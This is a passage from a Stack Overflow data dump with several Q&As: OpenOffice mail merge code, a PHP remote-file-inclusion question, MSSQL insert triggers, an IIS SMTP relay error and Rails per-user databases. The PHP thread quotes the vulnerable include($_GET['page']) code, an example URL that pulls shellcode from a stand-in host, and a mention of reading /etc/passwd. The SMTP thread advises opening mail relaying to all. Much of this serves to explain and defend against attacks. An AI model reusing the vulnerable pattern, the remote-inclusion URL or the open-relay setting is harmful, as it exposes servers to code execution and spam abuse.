href=\"http://api.openoffice.org/docs/common/ref/com/sun/star/text/MailMerge.html#CommandType\" rel=\"noreferrer\">http://api.openoffice.org/docs/common/ref/com/sun/star/text/MailMerge.html#CommandType</a>\noMailMerge.Command = \"adds\"\noMailMerge.OutputType = 2 ' <a href=\"http://api.openoffice.org/docs/common/ref/com/sun/star/text/MailMerge.html#OutputType\" rel=\"noreferrer\">http://api.openoffice.org/docs/common/ref/com/sun/star/text/MailMerge.html#OutputType</a>\noMailMerge.execute(Array())</p></li>\n<li><p>In VB.Net (Option Strict Off)</p>\n\n<pre><code> Dim t_OOo As Type\n t_OOo = Type.GetTypeFromProgID(\"com.sun.star.ServiceManager\")\n Dim objServiceManager As Object\n objServiceManager = System.Activator.CreateInstance(t_OOo)\n\n Dim oMailMerge As Object\n oMailMerge = t_OOo.InvokeMember(\"createInstance\", _\n BindingFlags.InvokeMethod, Nothing, _\n objServiceManager, New [Object]() {\"com.sun.star.text.MailMerge\"})\n\n 'Now set up a new MailMerge using the settings extracted from that doc\n oMailMerge.DocumentURL = \"file:///C:/Users/me/Desktop/OpenOffice Investigation/mail merged.odt\"\n oMailMerge.DataSourceName = \"adds\"\n oMailMerge.CommandType = 0 ' http://api.openoffice.org/docs/common/ref/com/sun/star/text/MailMerge.html#CommandType\n oMailMerge.Command = \"adds\"\n oMailMerge.OutputType = 2 ' http://api.openoffice.org/docs/common/ref/com/sun/star/text/MailMerge.html#OutputType\n oMailMerge.execute(New [Object]() {})\n</code></pre></li>\n<li><p>The same thing but with Option Strict On (doesn't work)</p>\n\n<pre><code> Dim t_OOo As Type\n t_OOo = Type.GetTypeFromProgID(\"com.sun.star.ServiceManager\")\n Dim objServiceManager As Object\n objServiceManager = System.Activator.CreateInstance(t_OOo)\n\n Dim oMailMerge As Object\n oMailMerge = t_OOo.InvokeMember(\"createInstance\", _\n BindingFlags.InvokeMethod, Nothing, _\n objServiceManager, New [Object]() {\"com.sun.star.text.MailMerge\"})\n\n 'Now set up a new MailMerge using the settings extracted from that doc\n oMailMerge.GetType().InvokeMember(\"DocumentURL\", BindingFlags.SetProperty, Nothing, oMailMerge, New [Object]() {\"file:///C:/Users/me/Desktop/OpenOffice Investigation/mail merged.odt\"})\n oMailMerge.GetType().InvokeMember(\"DataSourceName\", BindingFlags.SetProperty, Nothing, oMailMerge, New [Object]() {\"adds\"})\n oMailMerge.GetType().InvokeMember(\"CommandType\", BindingFlags.SetProperty, Nothing, oMailMerge, New [Object]() {0})\n oMailMerge.GetType().InvokeMember(\"Command\", BindingFlags.SetProperty, Nothing, oMailMerge, New [Object]() {\"adds\"})\n oMailMerge.GetType().InvokeMember(\"OutputType\", BindingFlags.SetProperty, Nothing, oMailMerge, New [Object]() {2})\n oMailMerge.GetType().InvokeMember(\"Execute\", BindingFlags.InvokeMethod Or BindingFlags.IgnoreReturn, Nothing, oMailMerge, New [Object]() {}) ' this line fails with a type mismatch error\n</code></pre></li>\n</ol></li>\n</ul>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38842",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3146/"
] | I need to do a simple mail merge in OpenOffice using C++, VBScript, VB.Net or C# via OLE or native API. Are there any good examples available? | I haven't come up with a solution I'm really happy with but here are some notes:
* Q. What is the OO API for mail merge?
A. <http://api.openoffice.org/docs/common/ref/com/sun/star/text/MailMerge.html>
* Q. What support groups?
A. <http://user.services.openoffice.org/en/forum/viewforum.php?f=20>
* Q. Sample code?
A. <http://user.services.openoffice.org/en/forum/viewtopic.php?f=20&t=946&p=3778&hilit=mail+merge#p3778>
<http://user.services.openoffice.org/en/forum/viewtopic.php?f=20&t=8088&p=38017&hilit=mail+merge#p38017>
* Q. Any more examples?
A. file:///C:/Program%20Files/OpenOffice.org\_2.4\_SDK/examples/examples.html (comes with the SDK)
<http://www.oooforum.org/forum/viewtopic.phtml?p=94970>
* Q. How do I build the examples?
A. e.g., for WriterDemo (C:\Program Files\OpenOffice.org\_2.4\_SDK\examples\CLI\VB.NET\WriterDemo)
1. Add references to everything in here: C:\Program Files\OpenOffice.org 2.4\program\assembly
2. That is cli\_basetypes, cli\_cppuhelper, cli\_types, cli\_ure
* Q. Does OO use the same separate data/document file for mail merge?
A. It allows for a range of data sources including csv files
* Q. Does OO allow you to merge to all the different types (fax, email, new document printer)?
A. You can merge to a new document, print and email
* Q. Can you add custom fields?
A. Yes
* Q. How do you create a new document in VB.Net?
A.
```
Dim xContext As XComponentContext
xContext = Bootstrap.bootstrap()
Dim xFactory As XMultiServiceFactory
xFactory = DirectCast(xContext.getServiceManager(), _
XMultiServiceFactory)
'Create the Desktop
Dim xDesktop As unoidl.com.sun.star.frame.XDesktop
xDesktop = DirectCast(xFactory.createInstance("com.sun.star.frame.Desktop"), _
unoidl.com.sun.star.frame.XDesktop)
'Open a new empty writer document
Dim xComponentLoader As unoidl.com.sun.star.frame.XComponentLoader
xComponentLoader = DirectCast(xDesktop, unoidl.com.sun.star.frame.XComponentLoader)
Dim arProps() As unoidl.com.sun.star.beans.PropertyValue = _
New unoidl.com.sun.star.beans.PropertyValue() {}
Dim xComponent As unoidl.com.sun.star.lang.XComponent
xComponent = xComponentLoader.loadComponentFromURL( _
"private:factory/swriter", "_blank", 0, arProps)
Dim xTextDocument As unoidl.com.sun.star.text.XTextDocument
xTextDocument = DirectCast(xComponent, unoidl.com.sun.star.text.XTextDocument)
```
* Q. How do you save the document?
A.
```
Dim storer As unoidl.com.sun.star.frame.XStorable = DirectCast(xTextDocument, unoidl.com.sun.star.frame.XStorable)
arProps = New unoidl.com.sun.star.beans.PropertyValue() {}
storer.storeToURL("file:///C:/Users/me/Desktop/OpenOffice Investigation/saved doc.odt", arProps)
```
* Q. How do you Open the document?
A.
```
Dim xComponent As unoidl.com.sun.star.lang.XComponent
xComponent = xComponentLoader.loadComponentFromURL( _
"file:///C:/Users/me/Desktop/OpenOffice Investigation/saved doc.odt", "_blank", 0, arProps)
```
* Q. How do you initiate a mail merge in VB.Net?
A.
1. Don't know. This functionality is in the API reference but is missing from the IDL. We may be slightly screwed. Assuming the API was working, it looks like running a merge is fairly simple.
2. In VBScript:
Set objServiceManager = WScript.CreateObject("com.sun.star.ServiceManager")
'Now set up a new MailMerge using the settings extracted from that doc
Set oMailMerge = objServiceManager.createInstance("com.sun.star.text.MailMerge")
oMailMerge.DocumentURL = "file:///C:/Users/me/Desktop/OpenOffice Investigation/mail merged.odt"
oMailMerge.DataSourceName = "adds"
oMailMerge.CommandType = 0 ' <http://api.openoffice.org/docs/common/ref/com/sun/star/text/MailMerge.html#CommandType>
oMailMerge.Command = "adds"
oMailMerge.OutputType = 2 ' <http://api.openoffice.org/docs/common/ref/com/sun/star/text/MailMerge.html#OutputType>
oMailMerge.execute(Array())
3. In VB.Net (Option Strict Off)
```
Dim t_OOo As Type
t_OOo = Type.GetTypeFromProgID("com.sun.star.ServiceManager")
Dim objServiceManager As Object
objServiceManager = System.Activator.CreateInstance(t_OOo)
Dim oMailMerge As Object
oMailMerge = t_OOo.InvokeMember("createInstance", _
BindingFlags.InvokeMethod, Nothing, _
objServiceManager, New [Object]() {"com.sun.star.text.MailMerge"})
'Now set up a new MailMerge using the settings extracted from that doc
oMailMerge.DocumentURL = "file:///C:/Users/me/Desktop/OpenOffice Investigation/mail merged.odt"
oMailMerge.DataSourceName = "adds"
oMailMerge.CommandType = 0 ' http://api.openoffice.org/docs/common/ref/com/sun/star/text/MailMerge.html#CommandType
oMailMerge.Command = "adds"
oMailMerge.OutputType = 2 ' http://api.openoffice.org/docs/common/ref/com/sun/star/text/MailMerge.html#OutputType
oMailMerge.execute(New [Object]() {})
```
4. The same thing but with Option Strict On (doesn't work)
```
Dim t_OOo As Type
t_OOo = Type.GetTypeFromProgID("com.sun.star.ServiceManager")
Dim objServiceManager As Object
objServiceManager = System.Activator.CreateInstance(t_OOo)
Dim oMailMerge As Object
oMailMerge = t_OOo.InvokeMember("createInstance", _
BindingFlags.InvokeMethod, Nothing, _
objServiceManager, New [Object]() {"com.sun.star.text.MailMerge"})
'Now set up a new MailMerge using the settings extracted from that doc
oMailMerge.GetType().InvokeMember("DocumentURL", BindingFlags.SetProperty, Nothing, oMailMerge, New [Object]() {"file:///C:/Users/me/Desktop/OpenOffice Investigation/mail merged.odt"})
oMailMerge.GetType().InvokeMember("DataSourceName", BindingFlags.SetProperty, Nothing, oMailMerge, New [Object]() {"adds"})
oMailMerge.GetType().InvokeMember("CommandType", BindingFlags.SetProperty, Nothing, oMailMerge, New [Object]() {0})
oMailMerge.GetType().InvokeMember("Command", BindingFlags.SetProperty, Nothing, oMailMerge, New [Object]() {"adds"})
oMailMerge.GetType().InvokeMember("OutputType", BindingFlags.SetProperty, Nothing, oMailMerge, New [Object]() {2})
oMailMerge.GetType().InvokeMember("Execute", BindingFlags.InvokeMethod Or BindingFlags.IgnoreReturn, Nothing, oMailMerge, New [Object]() {}) ' this line fails with a type mismatch error
``` |
38,875 | <p>My website was recently attacked by, what seemed to me as, an innocent code:</p>
<pre><code><?php
if ( isset( $ _GET['page'] ) ) {
include( $ _GET['page'] . ".php" );
} else {
include("home.php");
}
?>
</code></pre>
<p>There where no SQL calls, so I wasn't afraid for SQL Injection. But, apparently, SQL isn't the only kind of injection.</p>
<p>This website has an explanation and a few examples of avoiding code injection: <a href="http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html" rel="noreferrer">http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html</a></p>
<p>How would you protect this code from code injection?</p>
| [
{
"answer_id": 38884,
"author": "Till",
"author_id": 2859,
"author_profile": "https://Stackoverflow.com/users/2859",
"pm_score": 2,
"selected": false,
"text": "<p>I'm assuming you deal with files in the same directory:</p>\n\n<pre><code><?php\nif (isset($_GET['page']) && !empty($_GET['page'])) {\n $page = urldecode($_GET['page']);\n $page = basename($page);\n $file = dirname(__FILE__) . \"/{$page}.php\";\n if (!file_exists($file)) {\n $file = dirname(__FILE__) . '/home.php';\n }\n} else {\n $file = dirname(__FILE__) . '/home.php';\n}\ninclude $file;\n?>\n</code></pre>\n\n<p>This is not too pretty, but should fix your issue.</p>\n"
},
{
"answer_id": 38885,
"author": "Kyle Cronin",
"author_id": 658,
"author_profile": "https://Stackoverflow.com/users/658",
"pm_score": 3,
"selected": false,
"text": "<p>The #1 rule when accepting user input is always sanitize it. Here, you're not sanitizing your page GET variable before you're passing it into include. You should perform a basic check to see if the file exists on your server before you include it.</p>\n"
},
{
"answer_id": 38886,
"author": "Paige Ruten",
"author_id": 813,
"author_profile": "https://Stackoverflow.com/users/813",
"pm_score": 6,
"selected": true,
"text": "<p>Use a whitelist and make sure the page is in the whitelist:</p>\n\n<pre><code> $whitelist = array('home', 'page');\n\n if (in_array($_GET['page'], $whitelist)) {\n include($_GET['page'].'.php');\n } else {\n include('home.php');\n }\n</code></pre>\n"
},
{
"answer_id": 39035,
"author": "BlaM",
"author_id": 999,
"author_profile": "https://Stackoverflow.com/users/999",
"pm_score": 4,
"selected": false,
"text": "<p>Another way to sanitize the input is to make sure that only allowed characters (no \"/\", \".\", \":\", ...) are in it. However don't use a blacklist for <em>bad</em> characters, but a whitelist for allowed characters:</p>\n\n<pre><code>$page = preg_replace('[^a-zA-Z0-9]', '', $page);\n</code></pre>\n\n<p>... followed by a file_exists.</p>\n\n<p>That way you can make sure that only scripts you want to be executed are executed (for example this would rule out a \"blabla.inc.php\", because \".\" is not allowed).</p>\n\n<p>Note: This is kind of a \"hack\", because then the user could execute \"h.o.m.e\" and it would give the \"home\" page, because all it does is removing all prohibited characters. It's not intended to stop \"smartasses\" who want to cute stuff with your page, but it will stop people doing <em>really bad</em> things.</p>\n\n<p>BTW: Another thing you could do in you <strong>.htaccess</strong> file is to prevent obvious attack attempts:</p>\n\n<pre><code>RewriteEngine on\nRewriteCond %{QUERY_STRING} http[:%] [NC]\nRewriteRule .* /–http– [F,NC]\nRewriteRule http: /–http– [F,NC]\n</code></pre>\n\n<p>That way all page accesses with \"http:\" url (and query string) result in an \"Forbidden\" error message, not even reaching the php script. That results in less server load. </p>\n\n<p>However keep in mind that no \"http\" is allowed in the query string. You website might MIGHT require it in some cases (maybe when filling out a form).</p>\n\n<p>BTW: If you can read german: I also have a <a href=\"http://blogs.interdose.com/dominik/2008/03/20/sicherer-php-code-php-code-injection-verhindern/\" rel=\"noreferrer\">blog post</a> on that topic.</p>\n"
},
{
"answer_id": 39128,
"author": "Michał Niedźwiedzki",
"author_id": 2169,
"author_profile": "https://Stackoverflow.com/users/2169",
"pm_score": 2,
"selected": false,
"text": "<p>pek, for a short term fix apply one of the solutions suggested by other users. For a mid to long term plan you <strong>should</strong> consider migrating to one of existing web frameworks. They handle all low-level stuff like routing and files inclusion in reliable, secure way, so you can focus on core functionalities.</p>\n\n<p><strong>Do not reinvent the wheel. Use a framework.</strong> Any of them is better than none. The initial time investment in learning it pays back almost instantly.</p>\n"
},
{
"answer_id": 39148,
"author": "Cheekysoft",
"author_id": 1820,
"author_profile": "https://Stackoverflow.com/users/1820",
"pm_score": 3,
"selected": false,
"text": "<p>Pek, there are many things to worry about an addition to sql injection, or even different types of code injection. Now might be a good time to look a little further into web application security in general.</p>\n<p>From a previous question on <a href=\"https://stackoverflow.com/questions/22072/from-desktop-to-web-browser-considerations\">moving from desktop to web development</a>, I wrote:</p>\n<blockquote>\n<p>The <a href=\"http://www.owasp.org/index.php/OWASP_Guide_Project\" rel=\"noreferrer\">OWASP Guide to Building Secure Web Applications and Web Services</a> should be compulsory reading for any web developer that wishes to take security seriously (which should be <strong>all</strong> web developers). There are many principles to follow that help with the mindset required when thinking about security.</p>\n<p>If reading a big fat document is not for you, then have a look at the video of the seminar Mike Andrews gave at Google a couple years back about <a href=\"http://video.google.com/videoplay?docid=5159636580663884360\" rel=\"noreferrer\">How To Break Web Software</a>.</p>\n</blockquote>\n"
},
{
"answer_id": 39164,
"author": "Cheekysoft",
"author_id": 1820,
"author_profile": "https://Stackoverflow.com/users/1820",
"pm_score": 1,
"selected": false,
"text": "<p>Some good answers so far, also worth pointing out a couple of PHP specifics:</p>\n\n<p>The file open functions use <a href=\"http://uk.php.net/manual/en/wrappers.php\" rel=\"nofollow noreferrer\">wrappers</a> to support different protocols. This includes the ability to open files over a local windows network, HTTP and FTP, amongst others. Thus in a default configuration, the code in the original question can easily be used to open any arbitrary file on the internet and beyond; including, of course, all files on the server's local disks (that the webbserver user may read). <code>/etc/passwd</code> is always a fun one.</p>\n\n<p>Safe mode and <a href=\"http://uk.php.net/manual/en/features.safe-mode.php#ini.open-basedir\" rel=\"nofollow noreferrer\"><code>open_basedir</code></a> can be used to restrict files outside of a specific directory from being accessed.</p>\n\n<p>Also useful is the config setting <a href=\"http://uk.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen\" rel=\"nofollow noreferrer\"><code>allow_url_fopen</code></a>, which can disable URL access to files, when using the file open functions. <a href=\"http://uk.php.net/manual/en/function.ini-set.php\" rel=\"nofollow noreferrer\"><code>ini-set</code></a> can be used to set and unset this value at runtime.</p>\n\n<p>These are all nice fall-back safety guards, but please use a whitelist for file inclusion.</p>\n"
},
{
"answer_id": 40458,
"author": "ceejayoz",
"author_id": 1902010,
"author_profile": "https://Stackoverflow.com/users/1902010",
"pm_score": 0,
"selected": false,
"text": "<p>@pek - That won't work, as your array keys are 0 and 1, not 'home' and 'page'.</p>\n\n<p>This code should do the trick, I believe:</p>\n\n<pre><code><?php\n\n$whitelist = array(\n 'home',\n 'page',\n);\n\nif(in_array($_GET['page'], $whitelist)) {\n include($_GET['page'] . '.php');\n} else {\n include('home.php');\n}\n\n?>\n</code></pre>\n\n<p>As you've a whitelist, there shouldn't be a need for <code>file_exists()</code> either.</p>\n"
},
{
"answer_id": 12815569,
"author": "Loek Bergman",
"author_id": 1719509,
"author_profile": "https://Stackoverflow.com/users/1719509",
"pm_score": 1,
"selected": false,
"text": "<p>I know this is a very old post and I expect you don't need an answer anymore, but I still miss a very important aspect imho and I like it to share for other people reading this post. In your code to include a file based on the value of a variable, you make a direct link between the value of a field and the requested result (page becomes page.php). I think it is better to avoid that. \nThere is a difference between the request for some page and the delivery of that page. If you make this distinction you can make use of nice urls, which are very user and SEO friendly. Instead of a field value like 'page' you could make an URL like 'Spinoza-Ethica'. That is a key in a whitelist or a primary key in a table from a database and will return a hardcoded filename or value. That method has several advantages besides a normal whitelist:</p>\n\n<ol>\n<li><p>the back end response is effectively independent from the front end request. If you want to set up your back end system differently, you do not have to change anything on the front end.</p></li>\n<li><p>Always make sure you end with hardcoded filenames or an equivalent from the database (preferrabley a return value from a stored procedure), because it is asking for trouble when you make use of the information from the request to build the response.</p></li>\n<li><p>Because your URLs are independent of the delivery from the back end you will never have to rewrite your URLs in the htAccess file for this kind of change.</p></li>\n<li><p>The URLs represented to the user are user friendly, informing the user about the content of the document. </p></li>\n<li><p>Nice URLs are very good for SEO, because search engines are in search of relevant content and when your URL is in line with the content will it get a better rate. At least a better rate then when your content is definitely not in line with your content.</p></li>\n<li><p>If you do not link directly to a php file, you can translate the nice URL into any other type of request before processing it. That gives the programmer much more flexibility.</p></li>\n<li><p>You will have to sanitize the request, because you get the information from a standard untrustfull source (the rest of the Web). Using only nice URLs as possible input makes the sanitization process of the URL much simpler, because you can check if the returned URL conforms your own format. Make sure the format of the nice URL does not contain characters that are used extensively in exploits (like ',\",<,>,-,&,; etc..).</p></li>\n</ol>\n"
},
{
"answer_id": 14700586,
"author": "Jaya Kuma",
"author_id": 2038601,
"author_profile": "https://Stackoverflow.com/users/2038601",
"pm_score": 0,
"selected": false,
"text": "<p>Think of the URL is in this format:</p>\n\n<p>www.yourwebsite.com/index.php?page=<a href=\"http://malicodes.com/shellcode.txt\" rel=\"nofollow\">http://malicodes.com/shellcode.txt</a></p>\n\n<p>If the shellcode.txt runs SQL or PHP injection, then your website will be at risk, right? Do think of this, using a whitelist would be of help. </p>\n\n<p>There is a way to filter all variables to avoid the hacking. You can use PHP IDS or OSE Security Suite to help avoid the hacking. After installing the security suite, you need to activate the suite, here is the guide:</p>\n\n<p><a href=\"http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html\" rel=\"nofollow\">http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html</a></p>\n\n<p>I would suggest you turn on layer 2 protection, then all POST and GET variables will be filtered especially the one I mentioned, and if there are attacks found, it will report to you immediately/ </p>\n\n<p>Safety is always the priority</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38875",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2644/"
] | My website was recently attacked by, what seemed to me as, an innocent code:
```
<?php
if ( isset( $ _GET['page'] ) ) {
include( $ _GET['page'] . ".php" );
} else {
include("home.php");
}
?>
```
There where no SQL calls, so I wasn't afraid for SQL Injection. But, apparently, SQL isn't the only kind of injection.
This website has an explanation and a few examples of avoiding code injection: <http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html>
How would you protect this code from code injection? | Use a whitelist and make sure the page is in the whitelist:
```
$whitelist = array('home', 'page');
if (in_array($_GET['page'], $whitelist)) {
include($_GET['page'].'.php');
} else {
include('home.php');
}
``` |
38,890 | <p>Is there a way to enforce constraint checking in MSSQL only when inserting new rows? I.e. allow the constraints to be violated when removing/updating rows?</p>
<p>Update: I mean FK constraint.</p>
| [
{
"answer_id": 38892,
"author": "Jon Limjap",
"author_id": 372,
"author_profile": "https://Stackoverflow.com/users/372",
"pm_score": 1,
"selected": false,
"text": "<p>I think your best bet is to remove the explicit constraint and add a <a href=\"http://msdn.microsoft.com/en-us/library/ms180169.aspx\" rel=\"nofollow noreferrer\">cursor</a> for inserts, so you can perform your checking there and raise an error if the constraint is violated.</p>\n"
},
{
"answer_id": 38897,
"author": "Espo",
"author_id": 2257,
"author_profile": "https://Stackoverflow.com/users/2257",
"pm_score": 4,
"selected": true,
"text": "<p>You could create an INSERT TRIGGER that checks that the conditions are met. That way all updates will go straight through.</p>\n\n<pre><code>CREATE TRIGGER employee_insupd\nON employee\nFOR INSERT\nAS\n/* Get the range of level for this job type from the jobs table. */\nDECLARE @min_lvl tinyint,\n @max_lvl tinyint,\n @emp_lvl tinyint,\n @job_id smallint\nSELECT @min_lvl = min_lvl, \n @max_lvl = max_lvl, \n @emp_lvl = i.job_lvl,\n @job_id = i.job_id\nFROM employee e INNER JOIN inserted i ON e.emp_id = i.emp_id \n JOIN jobs j ON j.job_id = i.job_id\nIF (@job_id = 1) and (@emp_lvl <> 10) \nBEGIN\n RAISERROR ('Job id 1 expects the default level of 10.', 16, 1)\n ROLLBACK TRANSACTION\nEND\nELSE\nIF NOT (@emp_lvl BETWEEN @min_lvl AND @max_lvl)\nBEGIN\n RAISERROR ('The level for job_id:%d should be between %d and %d.',\n 16, 1, @job_id, @min_lvl, @max_lvl)\n ROLLBACK TRANSACTION\nEND\n</code></pre>\n"
},
{
"answer_id": 38928,
"author": "Matt",
"author_id": 4154,
"author_profile": "https://Stackoverflow.com/users/4154",
"pm_score": 1,
"selected": false,
"text": "<p>What sort of constraints? I'm guessing foreign key constraints, since you imply that deleting a row might violate the constraint. If that's the case, it seems like you don't really need a constraint per se, since you're not concerned with referential integrity.</p>\n\n<p>Without knowing more about your specific situation, I would echo the intent of the other posters, which seems to be \"enforce the insert requirements in your data access layer\". However, I'd quibble with their implementations. A trigger seems like overkill and any competent DBA should sternly rap you on the knuckles with a wooden ruler for trying to use a cursor to perform a simple insert. A stored procedure should suffice.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38890",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3153/"
] | Is there a way to enforce constraint checking in MSSQL only when inserting new rows? I.e. allow the constraints to be violated when removing/updating rows?
Update: I mean FK constraint. | You could create an INSERT TRIGGER that checks that the conditions are met. That way all updates will go straight through.
```
CREATE TRIGGER employee_insupd
ON employee
FOR INSERT
AS
/* Get the range of level for this job type from the jobs table. */
DECLARE @min_lvl tinyint,
@max_lvl tinyint,
@emp_lvl tinyint,
@job_id smallint
SELECT @min_lvl = min_lvl,
@max_lvl = max_lvl,
@emp_lvl = i.job_lvl,
@job_id = i.job_id
FROM employee e INNER JOIN inserted i ON e.emp_id = i.emp_id
JOIN jobs j ON j.job_id = i.job_id
IF (@job_id = 1) and (@emp_lvl <> 10)
BEGIN
RAISERROR ('Job id 1 expects the default level of 10.', 16, 1)
ROLLBACK TRANSACTION
END
ELSE
IF NOT (@emp_lvl BETWEEN @min_lvl AND @max_lvl)
BEGIN
RAISERROR ('The level for job_id:%d should be between %d and %d.',
16, 1, @job_id, @min_lvl, @max_lvl)
ROLLBACK TRANSACTION
END
``` |
38,920 | <p>I'm getting this problem:</p>
<pre><code>PHP Warning: mail() [function.mail]: SMTP server response: 550 5.7.1 Unable to relay for [email protected] in c:\inetpub\wwwroot\mailtest.php on line 12
</code></pre>
<p>from this script:</p>
<pre><code><?php
$to = "[email protected]";
$subject = "test";
$body = "this is a test";
if (mail($to, $subject, $body)){
echo "mail sent";
}
else {
echo "problem";
}
?>
</code></pre>
<p>section from php.ini on the server:</p>
<pre><code>[mail function]
; For Win32 only.
SMTP = server.domain.com; for Win32 only
smtp_port = 25
; For Win32 only.
sendmail_from = [email protected]
; For Unix only. You may supply arguments as well (default: "sendmail -t -i").
;sendmail_path =
</code></pre>
<p>(note that "server" and "domain" refer accurately to the actual server and domain name)</p>
<p>In IIS, SMTP is running. Under <code>"Access"</code> tab, <code>"Relay"</code> button, the Select which computers may relay through this virtual server is set to <code>checkbox "only the list below"</code> and on the list is <code>"127.0.0.1(xxx.xxx.xxx.xxx)" (x's representing actual server IP address).</code></p>
<p>Server is running <code>Windows Server 2003 Service Pack 2</code>, fully patched as of 5 PM Sept 1st 2008. I assume it is running <code>IIS7</code> (how to check?).</p>
<p>Any ideas?</p>
<p>In reponse to <a href="https://stackoverflow.com/users/2257/espo">Espo</a>: This machine is hosted at a datacenter. We do not want to use a gmail account (were doing it, want to move away from that). Windows server 2003 comes with its own SMTP server.</p>
<p>Update: Per Yaakov Ellis' advice, I dropped all relay restrictions and added the server IP to the allowed list (using the reverse DNS button provided) and the thing started working.</p>
<p>Thanks to both Espo and Yaakov for helping me out.</p>
| [
{
"answer_id": 38923,
"author": "Espo",
"author_id": 2257,
"author_profile": "https://Stackoverflow.com/users/2257",
"pm_score": 1,
"selected": false,
"text": "<p>You are using the wrong SMTP-server. If you you are only going to send emails to your gmail-account, have a look at my answer <a href=\"https://stackoverflow.com/questions/29988/how-to-send-email-from-a-program-without-using-a-preexisting-account#30001\">here</a>.</p>\n\n<p>If you also need to send email to other accounts, ask you ISP for your SMTP-details.</p>\n\n<p>EDIT: I think it is always better to use the ISP SMTP-server as they (should) have people monitoring the mail-queues, checking for exploits and updating the mail-software. If you business is developing web-applications it is almost always best to stick with what you do, and let other people do their stuff (eg running mailservers).</p>\n\n<p>If you still for some reason want to use you local SMTP server, the first thing would be to rule out the php-part. Try folowing <a href=\"http://support.microsoft.com/kb/153119\" rel=\"nofollow noreferrer\">KB153119</a> and then check you SMTPServer IISlog for errors.</p>\n\n<p>EDIT2:\nThat KB-article says it is for exchange, but the same commands are used for other SMTP-servers (including IIS) as well, so please try and see if you can send mails using the examples from the article.</p>\n"
},
{
"answer_id": 38947,
"author": "Christopher Mahan",
"author_id": 479,
"author_profile": "https://Stackoverflow.com/users/479",
"pm_score": 0,
"selected": false,
"text": "<p>@Espo: I'll do that re KB153119. Thanks.</p>\n\n<p>About the mail server: I hear you. </p>\n\n<p>I'll update when I uncover more.</p>\n"
},
{
"answer_id": 38961,
"author": "Christopher Mahan",
"author_id": 479,
"author_profile": "https://Stackoverflow.com/users/479",
"pm_score": 0,
"selected": false,
"text": "<p>@Espo, the article in question relates to Exchange servers, not IIS7.0 SMTP server.</p>\n\n<p>From the summary: This article describes how to telnet to port 25 on a computer that runs Simple Mail Transfer Protocol (SMTP) services to troubleshoot SMTP communication problems. The information in this article, including error messages, only applies to issues when attempting to resolve SMTP communication issues with Microsoft Exchange-based servers and is not intended for general troubleshooting purposes.</p>\n"
},
{
"answer_id": 38978,
"author": "Yaakov Ellis",
"author_id": 51,
"author_profile": "https://Stackoverflow.com/users/51",
"pm_score": 3,
"selected": true,
"text": "<p>Try removing the IP restrictions for Relaying in the SMTP server, and opening it up to all relays. If it works when this is set, then you know that the problem has to do with the original restrictions. In this case, it may be a DNS issue, or perhaps you had the wrong IP address listed.</p>\n"
},
{
"answer_id": 431440,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>I had the same problem, php 5 on iis6, 2003 server. Php always failed when trying to use mail().\nI've managed to get it accepting mail from php by changing the Relay Restrictions from 'Only the list below' (which is empty by default) to 'All except the list below' .\nThe relay restrictions can be found in the Access tab in the smtp servers properties screens.\nOf course if the server is open to the internet then one would have to be more sensible about these relaying restrictions but in my case this is on a virtual server on a dev box.</p>\n\n<p>hope that helps.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38920",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/479/"
] | I'm getting this problem:
```
PHP Warning: mail() [function.mail]: SMTP server response: 550 5.7.1 Unable to relay for [email protected] in c:\inetpub\wwwroot\mailtest.php on line 12
```
from this script:
```
<?php
$to = "[email protected]";
$subject = "test";
$body = "this is a test";
if (mail($to, $subject, $body)){
echo "mail sent";
}
else {
echo "problem";
}
?>
```
section from php.ini on the server:
```
[mail function]
; For Win32 only.
SMTP = server.domain.com; for Win32 only
smtp_port = 25
; For Win32 only.
sendmail_from = [email protected]
; For Unix only. You may supply arguments as well (default: "sendmail -t -i").
;sendmail_path =
```
(note that "server" and "domain" refer accurately to the actual server and domain name)
In IIS, SMTP is running. Under `"Access"` tab, `"Relay"` button, the Select which computers may relay through this virtual server is set to `checkbox "only the list below"` and on the list is `"127.0.0.1(xxx.xxx.xxx.xxx)" (x's representing actual server IP address).`
Server is running `Windows Server 2003 Service Pack 2`, fully patched as of 5 PM Sept 1st 2008. I assume it is running `IIS7` (how to check?).
Any ideas?
In reponse to [Espo](https://stackoverflow.com/users/2257/espo): This machine is hosted at a datacenter. We do not want to use a gmail account (were doing it, want to move away from that). Windows server 2003 comes with its own SMTP server.
Update: Per Yaakov Ellis' advice, I dropped all relay restrictions and added the server IP to the allowed list (using the reverse DNS button provided) and the thing started working.
Thanks to both Espo and Yaakov for helping me out. | Try removing the IP restrictions for Relaying in the SMTP server, and opening it up to all relays. If it works when this is set, then you know that the problem has to do with the original restrictions. In this case, it may be a DNS issue, or perhaps you had the wrong IP address listed. |
38,922 | <p>I have a rails application where each user has a separate database. (taking Joel Spolsky's advice on this). I want to run DB migrations from the rails application to create a new database and tables for this user. </p>
<p>What is the easiest way to do this? </p>
<p>Maybe the db migration is not the best for this type of thing. Thanks!</p>
<hr>
<p>It would be nice if it could be a completely automated process. The following process would be ideal.</p>
<ol>
<li>A user signs up on our site to use this web app</li>
<li>Migrations are run to create this users database and get tables setup correctly</li>
</ol>
<p>Is there a way of calling a rake task from a ruby application?</p>
| [
{
"answer_id": 38927,
"author": "roo",
"author_id": 716,
"author_profile": "https://Stackoverflow.com/users/716",
"pm_score": 1,
"selected": false,
"text": "<p>We use seperate configuration files for each user. So in the config/ dir we would have roo.database.yml which would connect to my personal database, and I would copy that over the database.yml file that is used by rails.</p>\n\n<p>We were thinking of expanding the rails Rakefile so we could specify the developer as a environment variable, which would then select a specfic datbase configuration, allowing us to only have one database.yml file. We haven't done this though as the above method works well enough.</p>\n"
},
{
"answer_id": 40015,
